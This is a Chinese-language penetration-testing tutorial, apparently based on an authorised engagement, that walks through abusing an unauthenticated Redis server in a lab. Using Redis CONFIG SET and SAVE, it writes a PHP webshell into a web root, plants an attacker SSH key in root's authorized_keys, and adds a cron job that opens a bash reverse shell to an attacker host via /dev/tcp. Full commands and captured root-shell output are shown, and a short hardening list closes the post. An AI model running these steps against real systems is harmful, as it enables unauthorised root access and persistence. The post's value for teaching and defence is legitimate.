前言
近期的授权活动,渗透时通过公网 RCE 进入了内网,在另一台机器上遇到了 Redis 组件,且 Redis 未授权,遂利用 Redis 成功拿下相关机器并横向,活动过后便总结一份关于 Redis 提权的文章。
本文就 Redis 提权攻击操作在虚拟机中模拟进行,模拟攻击前,将 Redis 配置文件中的 requirepass
字段值注释掉,再将监听地址改为 0.0.0.0
以对机器全网卡监听并运行服务。
Redis 提权三两事
有关 Redis 提权手段有很多,此处就相关常见提权手段进行说明。操作前,我们可以先看下当前 dbfilename
及存储路径,以备后续结束操作时恢复原路径及名称:
192.168.17.110:6379> config get dir
1) "dir"
2) "/"
192.168.17.110:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.17.110:6379>
注意:Redis 的 flushall 命令勿乱用,该命令用于清空整个 Redis 服务器的数据并执行持久化操作(会删除所有数据库的所有 key )。生产环境若执行了该命令则会造成 Redis 数据库内容丢失!!!
Redis 写 webshell
这种情况可能会是如下:Redis 被降权运行了,例如 www
用户守护监听运行,敏感目录不可访问,公私钥、定时任务目录不可写;但 WEB 相关服务是超级用户守护运行的,且 Redis 运行的用户对相应 WEB 目录可写,那么我们就可以写入一个 webshell
做提权操作。
在写入 webshell
前,我们需获取到相关 web
服务目录的绝对路径。然后使用如下命令写入相关一句话:
# 设置全局文件路径
192.168.17.110:6379> config set dir "/www/wwwroot/DVWA"
OK
# 设置存储 dbfilename 的文件名称
192.168.17.110:6379> config set dbfilename "shell.php"
OK
# 写入一个 shell 的键值
192.168.17.110:6379> set shell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
OK
# 同步保存数据到硬盘,也可用 bgsave 命令在后台异步保存当前数据库的数据到磁盘
192.168.17.110:6379> save
OK
192.168.17.110:6379>
上述在设置 "shell" 的键值时会带上 "\r\n" ,这是因为 "\r\n" 代表回车换行的意思,在用 Redis 写入文件的会自带一些版本信息,如果不进行数据的换行可能会导致无法执行。
此时,在 web
根目录下有了一个 shell.php
的文件:
此时通过 WEB 服务访问该文件,成功访问并解析相关命令:
Redis 写公私钥
这个要求我们的 Redis 有相应权限进入 /root/.ssh
目录。虚拟机中演示的 Redis 未进行降权操作,故对 /root/.ssh
目录可写。
操作前,我们需生成一段私钥对,在 Linux 机器下可以使用下述命令在当前目录一键生成一对公私钥:
ssh-keygen -t rsa -N '' -f id_rsa -q
上述命令参数介绍:
-t
:指定密钥的加密算法,上述指定为rsa
算法。-N
:指密码为空。-f
:指定保存私钥文件的名称,其中:私钥为id_rsa
,公钥为id_rsa.pub
。-q
:静默模式, 不输出显示
然后使用下方命令将公钥内容写入对应文件中:
192.168.17.110:6379> config set dir "/root/.ssh"
OK
192.168.17.110:6379> config set dbfilename "authorized_keys"
OK
192.168.17.110:6379> set rsa_pub "\r\n\r\nssh-rsa AAAAB3NxxxxxxxxGmVDx root@centos7\r\n\r\n"
OK
192.168.17.110:6379> save
OK
192.168.17.110:6379>
写入完成后,利用上述的私钥对目标机器的 ssh 服务发起链接即可无密码登录:
kali@kali:~/hack$ ssh -i ./id_rsa root@192.168.17.110
The authenticity of host '192.168.17.110 (192.168.17.110)' can't be established.
ED25519 key fingerprint is SHA256:zrD68eGjMlMbDEgcGfwIiVUokhj4+/6bU/jzm5kTJzE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.17.110' (ED25519) to the list of known hosts.
Last login: Sat May 20 15:23:22 2023 from 192.168.17.1
[root@centos7 ~]# whoami
root
[root@centos7 ~]#
Redis 使用定时任务反弹 shell
在 Linux 系统中,定时任务往往会在 /var/spool/cron
目录下,该目录下不同的文件对应不同用户的定时任务,故此次的目标是在该目录下的 root
文件中写入命令以达到反弹 shell 的目的。命令如下:
192.168.17.110:6379> config set dir "/var/spool/cron"
OK
192.168.17.110:6379> config set dbfilename root
OK
192.168.17.110:6379> set root "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.17.121/2023 0>&1\n\n"
OK
192.168.17.110:6379> save
OK
192.168.17.110:6379>
此时再去相应机器监听 2023 端口,约一分钟后,即可收到一个反弹 shell:
kali@kali:~/hack$ nc -lvvp 2023
listening on [any] 2023 ...
192.168.17.110: inverse host lookup failed: Unknown host
connect to [192.168.17.121] from (UNKNOWN) [192.168.17.110] 58578
bash: no job control in this shell
[root@centos7 ~]# whoami
whoami
root
[root@centos7 ~]#
上述是基于 Redis 常见的三种提权手段,其中还有一些其它手段的攻击,例如组合拳-从公网利用 SSRF + gopher协议打内网 Redis 提权以及通过一个 Redis 的主从复制写入 RCE 拿下整个 Redis 集群等。
Redis 安全配置
- 配置文件中配置绑定地址只对本机开放:
bind 127.0.0.1
。 - 修改配置文件中
requirepass
参数以设置密码。 - 修改默认端口 6379 为其它。
- 低权限守护启动。
- 如果需要对外提供服务的话,设置 iptables 规则,控制入流量。